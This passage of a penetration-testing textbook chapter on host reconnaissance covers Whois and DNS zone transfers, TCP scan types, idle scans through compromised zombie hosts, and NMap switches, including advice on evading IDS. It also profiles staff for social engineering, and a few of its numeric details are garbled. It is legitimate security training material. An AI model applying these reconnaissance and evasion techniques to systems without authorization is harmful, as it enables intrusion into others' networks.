their website. For example, some online banking \ncompanies advertise that they run solely on Microsoft IIS and SQL servers. Although this \ninformation might be helpful for marketing purposes, it should not be public knowledge. \nInstead, sales personnel can give out the information to potential clients who request it. \nEDGAR Filings\nPublicly traded companies in the United States are required to file with the Security and \nExchange Commission (SEC). You can access this information through the EDGAR \ndatabase, which you can view at http://www.sec.gov/edgar.shtml. Searches can reveal \nfinancial information and press releases. Some companies advertise the technology used in \ntheir organization in a press release posted to EDGAR filings. This saves time when trying \nto determine the operating system through other means.\nNNTP USENET Newsgroups\nIf you have ever had to troubleshoot a difficult problem, you know the value of networking \nwith others to find a solution. One of the methods that engineers use to seek help is by \nposting questions on USENET newsgroups. Unfortunately, some post too much \ninformation when they are seeking help. \nExample 5-1 shows an engineer named Bill asking a question about a problem he is \nexperiencing. In his message, he describes that he is running Red Hat Linux 6.2. No \ncompany should give up this information so freely to the public.\nExample 5-1\nSample Newsgroup Posting \nFrom: bsmith@hackmynetwork.com\nSubject: Apache Problem\nNewsgroups: comp.infosystems.www.servers.unix, comp.os.linux, \nalt.apache.configuration, comp.lang.java.programmer\nDate: 2004-07-07 09:19:28 PST\nI am having a problem with Apache reverse proxy not communicating with web \napplications using HTTP 1.1 keepalive. I am using Apache 1.3.23 on Red Hat Linux \n6.2. It is compiled with mod_proxy and mod_ssl. \nAny ideas would be greatly appreciated.\nThank you.\n-------\nbsmith@hackmynetwork.com\nSr. Systems Administrator\nHackmynetwork.com\n" }, { "page_number": 115, "text": "88\nChapter 5: Performing Host Reconnaissance\nExample 5-1 also shows the e-mail address of Bill: bsmith@hackmynetwork.com. This not \nonly reveals the name of the company Bill works for (Hackmynetwork), but also might \nreflect his user account on the network. Unfortunately, many companies still use the same \nnetwork logon name as their e-mail name. Although you can not know for certain, you \nshould document his e-mail address when doing host reconnaissance. Because he works on \nproduction servers for the target company, you might be able to gain full access to his \nnetwork if you crack his password. (You will learn more about password cracking in \nChapter 9, “Cracking Passwords.”)\nYou can browse newsgroups using software such as Microsoft Outlook Express, Netscape, \nXnews, and many others. Alternatively, and perhaps more effectively, you can search \nnewsgroups using Google. Just enter the name of the target company, and you will obtain \nall newsgroup messages posted from or related to your target company.\nUser Group Meetings\nIf searching through thousands of Newsgroup messages is not your forte (or your idea of a \nfun afternoon), you might try attending user group meetings. Most cities hold user group \nmeetings related to various technologies, such as Microsoft development, Cisco \ntechnologies, Linux, and even penetration testing. User group meetings provide an \nopportunity for people in a community to receive information and meet others who work \nwith the same technology. \nAttending user groups is a great way to practice your social engineering skills learned in \nChapter 4. By arriving early or staying late after the meeting, you can network with others \nand discover what companies people work for and what technologies their companies use. \nOf course, knowing which user groups your target employees are attending is difficult. \nPenetration testers should frequent user group meetings and talk to as many people as \npossible at each meeting. When a client requests your service, you might already know that \nthe client runs Microsoft servers, for example, because you met an employee of the client \nat a Microsoft user group. \nBusiness Partners \nIf perusing a target website, searching EDGAR filings and newsgroups, or attending user \ngroups does not provide you with the information you need, you might have to check the \nbusiness partners of the target for more information. Although the target might protect \nagainst giving away technical information, the partners might not. \nA company website often reveals who the business partners are, but a more effective means \nof obtaining partner information is using Google. For instance, if you enter \nlink:www.hackmynetwork.com in the Google search box, your search pulls up all sites \nthat link back to your target site. \n" }, { "page_number": 116, "text": "Active Host Reconnaissance 89\nBy going to all the sites listed in your search results, you might uncover technologies in use \nby your target. Network integrators are notorious for listing their client names and the \ntechnologies they specialize in. If you see a network integrator that specializes in Sun \nSolaris solutions and links back to your target website, you can safely assume that your \ntarget is running on Sun Solaris servers.\nActive Host Reconnaissance\nAlthough the passive reconnaissance means are effective, they are often time intensive and \ndo not always produce the most accurate results. In active reconnaissance, you use technical \ntools to discover information on the hosts that are active on your target network. The \ndrawback to active reconnaissance, however, is that it is easier to detect. For example, \nconsider a criminal who walks past a house she wants to burglarize (passive \nreconnaissance) versus looking into each window of the house to see what goods are inside \n(active reconnaissance). Obviously, a burglar peeking into the windows of a house is much \nmore conspicuous than simply walking past it. The same is true for active reconnaissance. \nIt reveals more information but is detected easily. \nSome of the tools that are useful in active host reconnaissance include the following:\n•\nNSLookup/Whois/Dig lookups\n•\nSamSpade\n•\nVisual Route/Cheops\n•\nPinger/WS_Ping_Pro\nNSLookup/Whois Lookups\nWhen you are doing black-box testing and you are not given detailed information on the \ntarget network, the client might give you only a network range of IP addresses to test. Often, \nyou might be given only the website address, leaving you to discover the network range on \nyour own. In this case, you have to perform some DNS lookups to ascertain the IP addresses \nassociated with the website. \nBefore you can venture into performing DNS lookups, you need to understand how DNS \nworks. The Domain Name System (DNS) allows you to use friendly names, such as \nhttp://www.cisco.com, instead of IP addresses when referencing hosts on an IP network. \nNOTE\nRFCs 1034 and 1035 define DNS operation. You can read about them at \nhttp://www.ietf.org.\n" }, { "page_number": 117, "text": "90\nChapter 5: Performing Host Reconnaissance\nDNS is a hierarchical, distributed database shared among servers and queried by hosts and \nother servers. The highest level of the hierarchy is the last label in a domain name. Top-level \nnames can be either two- or three-letter organizational designators, such as .com for \ncommercial or .edu for educational organizations, .biz for businesses, or two-letter country \ndesignators, such as .uk for the United Kingdom or .au for Australia. Figure 5-10 shows the \nDNS hierarchy for the website http://www.hackmynetwork.com. Companies register their \nDNS with a naming authority, such as ARIN in the United States or RIPE in Europe. \nFigure 5-10 DNS Hierarchy\nA contiguous portion of the DNS namespace is called a zone. A zone can contain one or \nmore domain names. When an update needs to be made to a DNS zone, it is done to a \nprimary zone on a master server. Secondary zones are copies of the primary zone that have \nbeen replicated from the master server. A server can house multiple zones with both \nprimary and secondary copies. When a secondary DNS server needs to replicate from the \nmaster server, it performs a zone transfer. The section “SamSpade,” later in this chapter, \ndiscusses zone transfers in more detail.\nIncluded in the zone information are resource records (RRs). Several types of resource \nrecords define information about the hosts in a domain. Table 5-1 defines the different types \nof record types.\nTable 5-1\nDNS Resource Records\nRecord\nType\nUsed for\nA\nHost record\nSingle hosts\nMX\nMail record\nMail servers\nPTR\nPointer record\nIP to name reverse lookups\nCNAME\nAlias record\nCreating aliases\nNS\nName Service record\nDNS servers\nSOA\nStart-of-Authority record\nA master record for the entire \nzone\n“.” Root-Level\nDomains\n“hackmynetwork”\nTop-Level\nDomains\nSecond-Level\nDomains\n.com\n.org\n.edu\n.mil\n" }, { "page_number": 118, "text": "Active Host Reconnaissance 91\nWhen you are performing a penetration test, do DNS lookups to get IP address information \nof hosts on your target network. DNS lookups can also give you information on the purpose \nof the host. For example, if an MX record exists for a host named \nsmtp.hackmyntework.com, you know that the host is being used for e-mail because MX is \nthe record for mail exchange.\nIf DNS servers are the doors to discovering what public hosts belong to your target site, \nWhois, NSLookup, and Dig are the keys to unlocking those doors. \nWhois (RFC 812) is found installed by default on most UNIX and Linux platforms, but on \nWindows, you need third-party software such as SamSpade to perform Whois queries. \nWhois, which in its early days was called NICNAME, is a TCP transaction-based query/\nresponse utility to look up registration information for a specific domain. You can obtain \nWhois at http://www.linux.it/~md/software. By default, Whois queries servers set by the \nNICNAMSERVER and WHOISSERVER environment variables, and, if neither is set, it \nqueries whois.crsnic.net. Typing whois without any options reveals the default server being \nused in the query. Example 5-2 shows the output of a query on hackmynetwork.com.\nExample 5-2\nSample Whois Query\n#whois hackmynetwork.com\nRegistrant:\nHackMyNetwork (hackmynetwork-DOM)\n 123 Main Street\n Portland, OR 97415\n Domain Name: hackmynetwork.com\nAdministrative Contact:\n John Nobody (RJXX2-ORG) hackmynetwork@HD1.VSNL.NET.IN\nHackMyNetwork\n123 Main Street\nPortland, OR 97415\nTechnical Contact:\n John Nobody (VSXX) jnobody@hackmynetwork.com\n123 Main Street\nPortland, OR 97415\nRecord expires on 14-Nov-2006\nRecord created on 13-Nov-2003\nDataabase last updated on 17-May-2004\nBilling contact:\nJohn Nobody\n123 Main Street\nPortland, OR 97415\nDomain servers in listed order:\nNS1.hackmynetwork.com 172.29.140.12\nNS2.hackmynetwork.com 172.22.145.12\n" }, { "page_number": 119, "text": "92\nChapter 5: Performing Host Reconnaissance\nWhois queries are useful for two purposes: \n•\nYou learn administrative contact information that is helpful in social engineering. (For \nmore on social engineering, see Chapter 4.) \n•\nYou learn the authoritative DNS servers for the domain. As you will see shortly, this \nis helpful when you want to attempt a DNS zone transfer with a tool such as \nSamSpade.\nNSLookup, Dig, and Host are three other command-line tools that you can use to unearth \ninformation about your target network. NSLookup is available on both UNIX and Windows \nplatforms, although NSLookup is being deprecated on most Linux systems, with Dig and \nHost being its replacement. NSLookup can reveal additional IP addresses and records when \nthe authoritative DNS server is known. Example 5-3 shows an NSLookup query.\nAlthough NSLookup and Dig are effective tools, they are limited compared to SamSpade. \nSamSpade\nIf the tools previously discussed in this chapter are like taking files out of a filing cabinet, \nDNS Zone transfers are like taking the entire drawer of files out. DNS servers perform zone \ntransfers to keep themselves up to date with the latest information. In a secured \nenvironment, these zone transfers should be restricted to DNS servers that need to exchange \ninformation; however, in most environments, this is not the case. A zone transfer of a target \ndomain gives you a list of all public hosts, their respective IP addresses, and the record type. \nExample 5-3\nNSLookup Query\n#nslookup\n>set type=mx\n>hackmynetwork.com\nServer: smtp.hackmynetwork.com\nAddress: 172.28.135.16\nNon-authoritative answer:\nhackmynetwork.com\n origin = hackmynetwork.com\n mail addr: webmaster.hackmynetwork.com\n serial = 20108130\n refresh = 720 (2H)\n retry = 3600 (1H)\n expire = 1728000 (2w6d)\n minimum ttl = 7200 (2H)\nhackmynetwork.com nameserver = ns1.hackmynetwork.com\n" }, { "page_number": 120, "text": "Active Host Reconnaissance 93\nAlthough you can use command-line tools like Dig to perform zone transfers, you might \nprefer a graphical tool like SamSpade (http://www.samspade.org). SamSpade is a free \nWindows tool created by Steve Atkins. It can perform a plethora of functions, including \nDNS lookups, mail relay checking, and website parsing. SamSpade can also attempt to do \nzone transfers. In the words of SamSpade’s creator, however, “zone transfers are impolite.” \nAs such, they are disabled by default. To enable zone transfer functionality, you need to go \nto the Edit menu and select Options. From there, select the Advanced tab, as shown in \nFigure 5-11. Check the Enable zone transfers check box to enable this option. \nFigure 5-11 SamSpade Advanced Options: Enable Zone Transfers\nBefore you can perform a zone transfer, you need to know what the authoritative name \nserver is, which you can find out by querying your own name server. Enter the IP address \nof your DNS server by going to the Basics screen, as shown in Figure 5-12. Under TCP/IP \nsettings, you can choose either to learn your DNS information via DHCP or statically enter \nin your DNS server IP address. After that, click OK to exit out of the Options screen.\n" }, { "page_number": 121, "text": "94\nChapter 5: Performing Host Reconnaissance\nFigure 5-12 SamSpade Basic Options \nNow you can perform a DNS lookup by entering the website domain name in the Address \nbox. In Figure 5-13, the domain name www.dawnsecurity.com is entered. The output \nreveals the name of the company that registered this domain name in addition to \nadministrative and technical contact information. Not shown in the graphic is the \nauthoritative DNS server address of PARK15.SECURESERVER.NET, which is also \nincluded in DNS lookups. Equipped with this address, you can attempt a DNS zone \ntransfer.\nBegin your attempt by going to the Tools menu and choosing Zone Transfer. You are \nshown a screen like that in Figure 5-13. Enter the domain name of your target and the IP \naddress of the authoritative DNS server that you discovered in the previous step. You have \nthe option of displaying the output within SamSpade or saving the output to a file. First \nview the information within SamSpade to determine if you can perform a zone transfer. \nThen, if you are successful, you can save the output to a file for later viewing.\n" }, { "page_number": 122, "text": "Active Host Reconnaissance 95\nFigure 5-13 SamSpade DNS Lookup\nVisual Route\nAlthough SamSpade provides excellent output and should be part of any penetration tester \ntoolkit, it does not provide graphical maps or detailed information of hops along the way to \nthe destination. To see a representation of a packet traveling across the Internet to a target \ndestination, you need a tool like Visual Route. Visual Route (http://www.visualware.com) \nruns on Linux, Windows, Solaris, and Mac OS X. \nFigure 5-14 shows the Visual Route screen. A trace is run from a computer in London to \nthe website http://www.hackmynetwork.com. Visual Route lists each hop along the way to \nthe site, along with the IP addresses and millisecond delay. \n" }, { "page_number": 123, "text": "96\nChapter 5: Performing Host Reconnaissance\nFigure 5-14 Visual Route\nWhat makes Visual Route interesting is that you can double-click on any of the hops along \nthe way and perform a Whois query. The information is the same as you get in a Whois \nlookup, but Visual Route is more graphically appealing and makes it easy to quickly look \nup information. You can save both the Whois lookups and the visual map in .jpg or .png \nformat, making it perfect for penetration testers who are preparing reports for clients.\nPort Scanning\nNow that you know what hosts are publicly accessible on your target network, you need to \ndetermine what ports are open on these hosts. You can do this through port scanning, which \nis the process of scanning a host to determine which TCP and UDP ports are accessible. \nMost network applications today run on top of TCP or UDP. These protocols are the \ntransport mechanism used by such applications as FTP, Simple Mail Transfer Protocol \n(SMTP), Dynamic Host Configuration Protocol (DHCP), and HTTP. TCP is a connection-\noriented protocol, which means it provides reliability by establishing a connection between \nhosts. In contrast, UDP is a connectionless protocol; it does not provide reliability. \n" }, { "page_number": 124, "text": "Port Scanning\n97\nTCP is analogous to delivering a package via priority mail where the recipient has to sign \nfor the package, making the delivery reliable. In comparison, UDP is analogous to regular \npostal mail, which provides no guarantee that the package will be delivered. UDP \napplications, such as DHCP, rely on the application to provide reliability if necessary. \nApplications that use TCP (such as FTP) have mechanisms built into the TCP protocol to \nprovide reliability.\nTCP and UDP identify the applications they are transporting through port numbers. Table 5-2 \nlists common TCP and UDP port numbers. It makes sense, then, to determine what \napplications are running on your target host. You should look to see what TCP and UDP \nports are open on the host by performing a port scan.\n1 NTP = Network Time Protocol\n2 SNMP = Simple Network Management Protocol\n3 POP = Post Office Protocol\n4 NNTP = Network News Transfer Protocol\n5 HTTPS = Hypertext Transfer Protocol Secure\nPort scans are available in numerous types, including these:\n•\nTCP Connect() scan\n•\nSYN\n•\nNULL\n•\nFIN\n•\nACK\n•\nXmas-Tree\n•\nDumb scan\n•\nReverse Ident\nTable 5-2\nPort Numbers\nTCP\nUDP\nApplication\nPort Number(s)\nApplication \nPort Number(s)\nFTP\n20–21\nDNS\n53\nTelnet\n23\nDHCP\n67–68\nSMTP\n25\nTFTP\n69\nDNS\n53\nNTP1\n123\nHTTP\n80\nSNMP2\n161\nPOP3\n110\nNNTP4\n119\nHTTPS5\n443\n" }, { "page_number": 125, "text": "98\nChapter 5: Performing Host Reconnaissance\nThe TCP connect() port scan attempts to create an established connection with the target \nhost. An established connection is one that has completed the three-way handshake that \noccurs when two hosts initiate communication with each other, as illustrated in Figure 5-15. \nFigure 5-15 Three-Way Handshake\nAs the figure shows, when Computer A seeks to create a TCP connection to Computer B, \nit sends out a synchronize (SYN) packet with its initial sequence number (ISN). The initial \nsequence number is a pseudorandom number between 0 and 232*1 (4,294,967,295). \nComputer B sends an acknowledgement (ACK) back with the ISN+1 of Computer A, \nindicating the next sequence number it predicts. Computer B also sets the SYN flag and \nincludes its own ISN. Computer A then responds to Computer B with an ACK to \nacknowledge the SYN packet of Computer B. The ACK sequence number is the ISN+1 of \nComputer B, indicating the next sequence number it expects from Computer B. Going \nthrough this initial handshake provides reliability because any deviation from the \nhandshaking process or any discrepancy of sequence number causes the computers to send \nreset (RST) packets, thus dropping the connection.\nTCP Connect() Scan\nA TCP Connect() scan attempts the three-way handshake with every TCP port. Going \nthrough the entire three-way handshake as shown in Figure 5-16 provides the best accuracy \nwhen performing a port scan. However, this type of scan is also the most easily detected by \nfirewalls and intruder detection systems. Therefore, you should look at using other types of \nscans that have a better chance of avoiding detection.\nFigure 5-16 TCP Connect() Scan\nSYN/ACK\nSYN\nACK\nA\nB\nPort Open\nPort Closed\nSYN\n1\nACK\n3\nSYN/ACK\n2\nSYN\n1\nRST\n2\n" }, { "page_number": 126, "text": "Port Scanning\n99\nSYN Scan\nA slightly stealthier approach to port scans is to perform a SYN scan. As mentioned earlier, \nthe TCP three-way handshake involves SYN, SYN-ACK, and ACK packets (in that order). \nA SYN scan only sends out the initial SYN to the target. As shown in Figure 5-17, if the \nport is open, the target responds with a SYN-ACK. If it is closed, it responds with an RST. \nFigure 5-17 SYN Scan\nAt this point, the behavior of a SYN scan is exactly like a TCP Connect() scan. What makes \nit different, however, is what the SYN scan does next. Computer A does not respond with \nan ACK packet, which is the expected response in the three-way handshake. Instead, \nComputer A responds with an RST packet, dropping the connection. By dropping the \nconnection before the session can become established, the SYN scan can go unnoticed by \nsome firewalls. However, many intrusion detection systems (IDSs) detect SYN scans, so \nyou should avoid this approach also.\nNULL Scan\nIn a NULL scan, a packet is sent to a TCP port with no flags set. In normal TCP \ncommunication, at least one bit—or flag—is set. In a NULL scan, however, no bits are set. \nRFC 793 states that if a TCP segment arrives with no flags set, the receiving host should \ndrop the segment and send an RST. As Figure 5-18 illustrates, when you send packets to \neach TCP port with no flags set, the target responds with an RST packet if the port is closed. \nIf the port is open, the host ignores the packet, and no response arrives. \nFigure 5-18 NULL Scan\nThis is, of course, assuming that all hosts comply with RFC 793. In reality, Windows hosts \ndo not comply with this RFC. Subsequently, you cannot use a NULL scan against a \nPort Open\nPort Closed\n1\n2\nSYN\n1\nSYN/ACK\n2\nSYN\nRST\nPort Open\nPort Closed\n1\n2\nNULL\n1\nNULL\nRST\n" }, { "page_number": 127, "text": "100\nChapter 5: Performing Host Reconnaissance\nWindows machine to determine which ports are active. When a Microsoft operating system \nreceives a packet that has no flags set, it sends an RST packet in response, regardless of \nwhether the port is open. With all NULL packets receiving an RST packet in response, you \ncannot differentiate open and closed ports.\nUNIX-based systems do comply with RFC 793; therefore, they send RST packets back \nwhen the port is closed and no packet when the port is open. \nNote that this is the opposite effect of the SYN and TCP Connect() scans mentioned \npreviously. In those scans, a response indicated an open port, but in a NULL scan, a \nresponse indicates a closed port. This is why a NULL scan is called an inverse scan. Inverse \nscans are stealthier than the TCP Connect() and SYN scans, but they are not as accurate.\nFIN Scan\nAnother type of inverse scan is the FIN scan. Just like the NULL scan, this is stealthier than \nthe SYN and TCP Connect() scans. In a FIN scan, a packet is sent to each TCP port with \nthe –FIN bit set to on. The FIN bit indicates the ending of a TCP session. Like all inverse \nscans, an RST response indicates the port being closed, and no response indicates that the \nport is listening. Keep in mind, however, that Windows PCs do not comply with RFC 793; \ntherefore, they do not provide accurate results with this type of scan. Figure 5-19 displays \nthe response to a FIN scan.\nFigure 5-19 FIN Scan\nACK Scan\nIn normal TCP operation, acknowledgements (ACKs) are sent after the number of packets \nspecified in the advertised window size of the receiving host. In an ACK scan, you use the \nacknowledgements to discover the configuration of a firewall. If a port is filtered on a \nfirewall, nothing comes back. If a port is unfiltered (traffic destined for that port is allowed \nthrough the firewall), however, an RST is sent back. By listening to the RST messages, you \ncan learn which ports are filtered and unfiltered on a firewall. \nPort Open\nPort Closed\n1\n2\nFIN\n1\nFIN\nRST\n" }, { "page_number": 128, "text": "Port Scanning\n101\nXmas-Tree Scan\nFigure 5-20 shows the formation of a packet in a Xmas-Tree scan. The Xmas-Tree scan \nsends a TCP packet with the following flags:\n•\nURG—Indicates that the data is urgent and should be processed immediately \n•\nPSH—Forces data to a buffer\n•\nFIN—Used when finishing a TCP session\nThe trick in this scan is not the purpose of these flags, but the fact that they are used \ntogether. A TCP connection should not be made with all three of these flags set. Xmas-Tree \nreturns the same results as other inverse scans and subsequently has the same limitations \nwhen used against Windows platforms.\nFigure 5-20 Xmas-Tree Scan\nDumb Scan\nThe dumb scan (also called idle or reverse scan) was discovered by Salvatore Sanfilippo, \nwho goes by the handle ‘antirez.’ (See the paper at http://www.kyuzz.org/antirez/papers/\ndumbscan.html.) Dumb scans are an alternative method of scanning that uses a third \nzombie computer to act as a “dumb” host in the process of scanning your target. A zombie \nhost is a compromised idle host. Typically, this host does not store sensitive data, and access \nto it is often unnoticed. Many companies have idle hosts that are used for the transferal of \ndata over dial-up modems. You can discover these easily by using war dialer software like \nToneLoc. For example, small branch offices for credit unions might use a host for either \ndial-in access or for dialing in to a credit reporting company to gather financial reports on \na client. If you can gain access to these hosts, you can usually gain access to the rest of their \ndata network. \nMalicious hackers often use idle systems on the Internet that they have compromised. This \nis why no network is safe from malicious hackers. \nJust like a normal SYN scan, with a dumb scan, a SYN is sent to the target. This time, \nhowever, the zombie host sends it. If a port is listening, the target responds with the \nexpected SYN/ACK response. If the port is closed, the target responds with an RST \nmessage. At this stage, nothing distinguishes a normal SYN scan from a dumb scan. \nPort Open\nPort Closed\n1\n2\nURG/PUSH/FIN\n1\nURG/PUSH/FIN\nRST\n" }, { "page_number": 129, "text": "102\nChapter 5: Performing Host Reconnaissance\nWhat makes a dumb scan different is that the scan is not sent from your computer, but from \na zombie host. While the scan is launched from the zombie host, you are performing a \ncontinuous ping from Computer X against the zombie host. Looking at the ID field in the \necho response from the zombie host, you can determine which ports are open and which \nare closed on the target system. For example, using the HPING Linux utility with the –r \nswitch to see ID increments, you can see the following output when pinging a zombie host:\nHPING B (eth0 172.16.15.12): no flags are set, 40 data bytes\n60 bytes from 172.16.15.12: flags=RA seq=0 ttl=64 id=41660 win=0 time=1.2 ms\n60 bytes from 172.16.15.12: flags=RA seq=1 ttl=64 id=+1 win=0 time=88 ms\n60 bytes from 172.16.15.12: flags=RA seq=2 ttl=64 id=+1 win=0 time=93 ms\n60 bytes from 172.16.15.12: flags=RA seq=3 ttl=64 id=+1 win=0 time=75 ms\n60 bytes from 172.16.15.12: flags=RA seq=4 ttl=64 id=+1 win=0 time=93 ms\n60 bytes from 172.16.15.12: flags=RA seq=5 ttl=64 id=+1 win=0 time=80 ms\nHere, no ports are open. You start with the initial ID of 41660 and then increase by one each \nping. Computer X continues its ping of the zombie host, but this time when the zombie host \nsends a SYN to an open port of the target, the response changes:\n60 bytes from 172.16.15.12: flags=RA seq=1 ttl=64 id=+1 win=0 time=87 ms\n60 bytes from 172.16.15.12: flags=RA seq=2 ttl=64 id=+2 win=0 time=90 ms\n60 bytes from 172.16.15.12: flags=RA seq=3 ttl=64 id=+1 win=0 time=91 ms\n60 bytes from 172.16.15.12: flags=RA seq=4 ttl=64 id=+1 win=0 time=92 ms\n60 bytes from 172.16.15.12: flags=RA seq=5 ttl=64 id=+1 win=0 time=92 ms\nOn the second line of this output, the ID incremented by two. This indicates that whatever \nport is being scanned at the time of that ping is a listening port on the target.\nNMap\nNow that you have learned of the different scanning options, you will learn how to \nimplement these scans using a tool called NMap. \nAll penetration testers have a toolbox of software applications frequently used in testing. \nIncluded in every penetration tester toolbox should be NMap. NMap, written by Fyodor and \navailable at http://www.insecure.org, is available on both Windows and Linux platforms. \nAlthough the Windows version of NMap might be easier to use because of its graphical user \ninterface, this chapter uses the Linux version for explanatory purposes. At press time, the \nWindows version did not yield as accurate results as its Linux counterpart. \nNOTE\nNMap, although the most popular, is not the only port scanner available. Other port \nscanners include Superscan, Scanline, VScan, and Angry IP. See Appendix B, “Tools,” for \ninformation on these and other port scanners.\n" }, { "page_number": 130, "text": "NMap\n103\nIn the man (manual) page, NMap is described as a tool to “allow system administrators and \ncurious individuals to scan large networks which hosts are up and what \nservices they are offering.” (To view more of the man page, type man NMap at the Linux \ncommand line.) NMap allows you to perform many of the scans previously covered. \nNMap Switches and Techniques\nThe predominant switches available in NMap as they correspond to the scans covered \nearlier are as follows::\n•\n-sT—TCP Connect() scan\n•\n-sS—SYN scan\n•\n-sF—FIN scan\n•\n-sX—Xmas-Tree scan\n•\n-sN—NULL scan\n•\n-sI—Dumb scan (also called an idle scan)\n•\n-sA—ACK scan\nIn addition, other parameters are helpful:\n•\n-P0—Do not try to ping hosts before scanning them. \n•\n-PP—Uses the ICMP timestamp request (ICMP type 13) packet to find listening \nhosts. Normally, NMap attempts to ping the hosts using ICMP echo request (ICMP \ntype 1) packets to see if the host is there. Some firewalls and routers block echo \nrequests yet still allow other traffic to penetrate. This switch also uses ICMP to \ndetermine if the host is live, but it uses a different ICMP packet for this purpose. \n•\n-6—Enables IPv6 support. You can perform a port scan against a host name through \nDNS (assuming the DNS server has the IPv6 AAAA records) or through the IP \naddress.\n•\n-oN logfilename—Sends the output in human-readable format to the file of your \nchoosing.\n•\n-oX logfilename—Same as –oN, but this time send it to the logfile in XML format.\n•\n-oG logfilename—Same as –oN, but stores all the results on a single line for querying \nthrough the Grep program.\n•\n--append_output—Appends the output to your existing log files instead of \noverwriting them.\n" }, { "page_number": 131, "text": "104\nChapter 5: Performing Host Reconnaissance\n•\n-p—Specifies the port number(s) to scan. TCP and UDP ports total 65,536. This \nswitch lets you specify single ports, ranges, or lists of ports to scan. You can also \nspecify whether you want to ping UDP or TCP ports only. For example, to scan TCP \nports 23 (Telnet), 25 (SMTP), and 80 (HTTP), you can type this:\nNMap –p T:23,25,80\n•\n-v—Verbose mode. \n•\n-vv—Very verbose mode. Enable this to see the most detailed output.\n•\n-M max sockets—Sets the maximum number of sockets used by NMap. Limiting this \nvalue decreases the scan rate, which is helpful when scanning some hosts that have \nbeen known to crash when being scanned. Of course, discovering that these hosts \ncrash is a vulnerability that you should document in your penetration report.\n•\n-T {paranoid | sneaky | polite | normal | aggressive | insane}—Changes the timing \npolicies for scanning. The default is normal, which attempts to scan as quickly as \npossible. paranoid is helpful to avoid IDS systems and waits five minutes between \nsending packets. sneaky sends packets every 15 seconds. polite waits every 0.4 \nseconds and is designed to prevent host crashing. aggressive and insane attempt to \nspeed up the scans, but because accuracy and stealth are important, you should avoid \nthese unless you have a justifiable reason to use them.\n•\n--host_timeout milliseconds—Specifies how long to wait for a response before \nscanning stops for a single host. If NMap appears to hang, you might want to adjust \nthis timer.\n•\n--scan_delay milliseconds—Similar to –T, this specifies how long to wait between \nprobes. Increasing this value might let you go undetected past IDS systems.\n•\n-O—Attempts to detect the operating system. It also attempts TCP Sequence \nPredictability Classification to report how difficult it would be to forge a TCP \nconnection against your target. Beware that NMap is not always accurate in detecting \nthe operating system.\nIn addition to the switches just listed, NMap is capable of performing more advanced \ntechniques, such as changing the source port number, fragmenting packets, performing \nIdentd scanning, and doing FTP bounce scanning:\n•\n--source_port port number—Specify the port number. Firewalls and routers might \nblock your attempts to scan a host if your port number is above 1023. However, many \nfirewalls and routers allow DNS (port 53) or FTP-Data (port 21) packets through. If \nyou are having difficulties getting past a firewall, try changing your port number to 53 \nor 21.\n" }, { "page_number": 132, "text": "NMap\n105\n•\n-f—Fragment your packets. By breaking up your scans into smaller TCP fragments, \nyou can often go undetected by low-end security devices that do not want to process \nfragments to see if a scan is taking place. \n•\n-I—Perform an Identd scan. The Identd protocol (RFC 1413) allows for the disclosure \nof the username associated with a TCP process. This allows you to connect to web \nservers and find out if it is running with root privileges (full administrator access). If \nso, cracking the web server enables you full rights to the server that is hosting the site. \nThis scan rarely works, however, because most hosts disable the Identd service for this \nvery reason. \n•\n-b—Perform an FTP bounce scan. This is an older scan that, like the Identd scan, \nrarely works. It relies on your having access to a proxy FTP server and performing a \nscan from that FTP server. Again, most administrators have taken necessary \nprecautions to prevent against such scans.\nCompiling and Testing NMap\nCompiling NMap is similar to compiling other programs in Linux. Follow these steps:\nStep 1\nDownload the latest version from http://www.insecure.org.\nStep 2\nUnzip NMap using the gzip program.\nStep 3\nUntar NMap using the tar program.\nStep 4\nNavigate to the directory containing the NMap files and type ./configure.\nStep 5\nType make install.\nStep 6\nType ./install.\nNext, perform a TCP Connect() scan against the IP address 64.202.167.192. At the \ncommand line, type the following:\nNMap –sT –vv –p T:1-1023 –P0 -O 64.202.167.192\nThis performs a TCP Connect() scan with very verbose output. You are scanning TCP ports \n1 through 1023 and not pinging the host first to see if it is active. Finally, you have enabled \nthe –O switch to attempt to determine the operating system. \nBased on the results, you now know that TCP ports 80 and 443 are available. This tells you \nthat this particular server is running as a web server. NMap is unable to determine the type \nof operating system, however. Still, if it found ports 137, 138, and 139 open, it would know \nthat the target was most likely running a Windows operating system, because these ports \nare used with NetBIOS (a service commonly seen on Windows systems). NMap knows \nmore than 500 different operating systems and can detect the operating systems not just of \nservers, but network devices like routers, firewalls, and others. \n" }, { "page_number": 133, "text": "106\nChapter 5: Performing Host Reconnaissance\nFingerprinting\nDetermining the operating system of your target is important because many of the exploits \nare specific to the platform. The process of discovering the underlying operating system is \ncalled fingerprinting. Besides using the built-in fingerprinting features of NMap, you can \ntry other techniques such as Telnet or HTTP to get requests.\nFor example, you would know that your target was running HP-UX if you Telneted to a \ndevice and got this response:\nTrying 10.0.0.1…\nConnected to server.hackmynetwork.com\nEscape character is ’^]’.\nHP-UX B.10.01 A 9000/715 (ttyp3)\nlogin:\nBecause most networks do not allow Telnet access, you might have to try to Telnet to \nanother port, such as TCP port 21 (FTP). You would know your target was running the Sun \noperating system if you received the following response:\n#telnet 10.0.0.1 21\n220 ftp FTP server (UNIX(r)System V Release 4.0) ready.\nSYST\n215 UNIX Type: L8 Version: SUNOS\nYou can also try to perform an HTTP get request. Here is the output you might receive if \nyour target is running Microsoft IIS:\n#echo ’GET / HTTP/1.0\\n’ | grep ’^Server’\nServer: Microsoft-IIS/5.0\nAnother means of detecting the operating system of the target system is through stack \nfingerprinting. Stack fingerprinting actively sends packets to the target TCP/IP stack and \nanalyzes the response. TCP/IP stacks differ from vendor to vendor, making this a prime \nmeans of detecting an operating system. You can do stack fingerprinting through the \nfollowing methods:\n•\nBOGUS probe—This technique detects older Linux systems. It sets bits 7 and 8 of \nthe TCP header in a SYN packet. Linux systems prior to the 2.0.35 kernel respond \nwith the same bits set. These bits were originally undefined, but now they are used to \ndeclare a device as being explicit congestion notification (ECN) capable. Routers \nutilizing random early detection (RED) can set the congestion experienced (CE) bit \non packets to notify end stations that congestion occurred.\n•\nTCP ISN sampling—This technique finds patterns in the initial sequence numbers \nused in connection requests. Some UNIX systems use 64000 as the sequence number. \nNewer versions of Solaris and FreeBSD, however, employ random increments. In \ncomparison, Windows computers are incremented by a small fixed amount each time. \nFinally, some devices always start with the same ISN. 3Com hubs, for example, start \nwith 0x803, and Apple printers start with 0xC7001.\n" }, { "page_number": 134, "text": "NMap\n107\n•\nTCP initial window size—This technique examines the window size on return \npackets. AIX sends a window size of 16,165; Microsoft, OpenBSD, and FreeBSD use \n16,430; Linux uses 32,120.\n•\nRTO 